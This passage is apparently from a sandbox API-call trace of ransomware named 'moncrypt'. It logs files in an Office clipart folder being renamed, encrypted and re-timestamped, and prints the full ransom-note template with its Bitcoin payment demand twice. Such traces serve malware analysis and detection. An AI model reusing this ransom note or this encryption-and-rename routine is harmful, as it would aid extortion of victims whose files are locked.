(hObject=0x188) returned 1 [0059.702] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01044_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0059.702] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0059.702] GlobalLock (hMem=0x440004) returned 0x550170 [0059.702] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.702] GlobalUnlock (hMem=0x440004) returned 0 [0059.702] GlobalLock (hMem=0x440004) returned 0x550170 [0059.702] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.702] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.702] GlobalUnlock (hMem=0x440004) returned 0 [0059.703] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.703] GlobalUnlock (hMem=0x44000c) returned 0 [0059.703] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0059.703] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0059.703] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0059.703] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0059.703] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0059.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.703] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.703] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0059.703] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.704] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.704] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0059.704] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.704] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0059.704] CloseHandle (hObject=0x188) returned 1 [0059.704] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1fda300, ftCreationTime.dwHighDateTime=0x1bd4b21, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1fda300, ftLastWriteTime.dwHighDateTime=0x1bd4b21, nFileSizeHigh=0x0, nFileSizeLow=0x1f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01060_.WMF", cAlternateFileName="")) returned 1 [0059.704] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.704] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.704] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.704] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.704] GlobalUnlock (hMem=0x44000c) returned 0 [0059.704] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.704] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.704] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.704] GlobalUnlock (hMem=0x44000c) returned 0 [0059.704] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.704] GlobalUnlock (hMem=0x440004) returned 0 [0059.704] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.705] CharLowerBuffW (in: lpsz="AN01060_.WMF", cchLength=0xc | out: lpsz="an01060_.wmf") returned 0xc [0059.705] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.705] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.705] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.705] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.705] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.705] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.705] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.705] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.705] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.705] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.705] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0059.705] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.705] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0059.705] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF", lpUsedDefaultChar=0x0) returned 63 [0059.705] CharLowerBuffW (in: lpsz=".WMF", cchLength=0x4 | out: lpsz=".wmf") returned 0x4 [0059.705] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmf", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmfT\\PUB60COR\\AN01060_.WMF", lpUsedDefaultChar=0x0) returned 4 [0059.706] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa1fda300, ftCreationTime.dwHighDateTime=0x1bd4b21, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa1fda300, ftLastWriteTime.dwHighDateTime=0x1bd4b21, nFileSizeHigh=0x0, nFileSizeLow=0x1f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01060_.WMF", cAlternateFileName="")) returned 0x54e240 [0059.706] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0059.706] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0059.706] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0059.706] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF", dwFileAttributes=0x20) returned 1 [0059.707] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0059.707] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf.moncrypt")) returned 1 [0059.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.708] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0059.708] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x1f20 [0059.708] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0059.708] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x1f20, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x1f20, lpOverlapped=0x0) returned 1 [0059.712] GlobalLock (hMem=0x440004) returned 0x550170 [0059.712] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.712] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.712] GlobalUnlock (hMem=0x440004) returned 0 [0059.712] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.712] GlobalUnlock (hMem=0x44000c) returned 0 [0059.712] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.712] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.712] GlobalUnlock (hMem=0x44000c) returned 0 [0059.712] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0059.713] WriteFile (in: hFile=0x188, lpBuffer=0x1dc6168*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dc6168*, lpNumberOfBytesWritten=0x18ea30*=0x1f40, lpOverlapped=0x0) returned 1 [0059.713] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0059.713] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d18*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0059.725] WriteFile (in: hFile=0x188, lpBuffer=0x1dc6188*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dc6188*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0059.725] CloseHandle (hObject=0x188) returned 1 [0059.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.moncrypt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01060_.wmf.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.726] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0059.726] CloseHandle (hObject=0x188) returned 1 [0059.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01060_.WMF.moncrypt", dwFileAttributes=0x20) returned 1 [0059.729] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0059.729] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.729] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.729] GlobalUnlock (hMem=0x44000c) returned 0 [0059.729] GlobalLock (hMem=0x44000c) returned 0x550170 [0059.729] GlobalLock (hMem=0x440004) returned 0x557b78 [0059.729] GlobalHandle (pMem=0x550170) returned 0x44000c [0059.729] GlobalUnlock (hMem=0x44000c) returned 0 [0059.729] GlobalHandle (pMem=0x557b78) returned 0x440004 [0059.729] GlobalUnlock (hMem=0x440004) returned 0 [0059.729] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0059.729] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44a8b4c0, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x44a8b4c0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x44a8b4c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0059.730] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0059.730] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0059.730] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0059.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0059.730] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.730] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0059.730] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.730] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.730] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0059.730] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0059.730] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc068, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc068*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0059.730] CloseHandle (hObject=0x188) returned 1 [0059.731] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86dd6400, ftCreationTime.dwHighDateTime=0x1bd4b1e, ftLastAccessTime.dwLowDateTime=0x5133d8d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86dd6400, ftLastWriteTime.dwHighDateTime=0x1bd4b1e, nFileSizeHigh=0x0, nFileSizeLow=0x728, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01084_.WMF", cAlternateFileName="")) returned 1 [0059.731] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0059.731] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0059.731] GlobalLock (hMem=0x440004) returned 0x550170 [0059.731] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.731] GlobalUnlock (hMem=0x440004) returned 0 [0059.731] GlobalLock (hMem=0x440004) returned 0x550170 [0059.731] GlobalLock (hMem=0x44000c) returned 0x557b78 [0059.731] GlobalHandle (pMem=0x550170) returned 0x440004 [0059.731] GlobalUnlock (hMem=0x440004) returned 0 [0059.731] GlobalHandle (pMem=0x557b78) returned 0x44000c [0059.731] GlobalUnlock (hMem=0x44000c) returned 0 [0059.731] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0059.731] CharLowerBuffW (in: lpsz="AN01084_.WMF", cchLength=0xc | out: lpsz="an01084_.wmf") returned 0xc [0059.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="8", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="8í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.731] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.732] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.732] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="0", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0í\x18", lpUsedDefaultChar=0x0) returned 1 [0059.732] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ní\x18", lpUsedDefaultChar=0x0) returned 1 [0059.732] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aí\x18", lpUsedDefaultChar=0x0) returned 1 [0059.732] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0059.732] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF", cchWideChar=63, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF", lpUsedDefaultChar=0x0) returned 63 [0059.732] 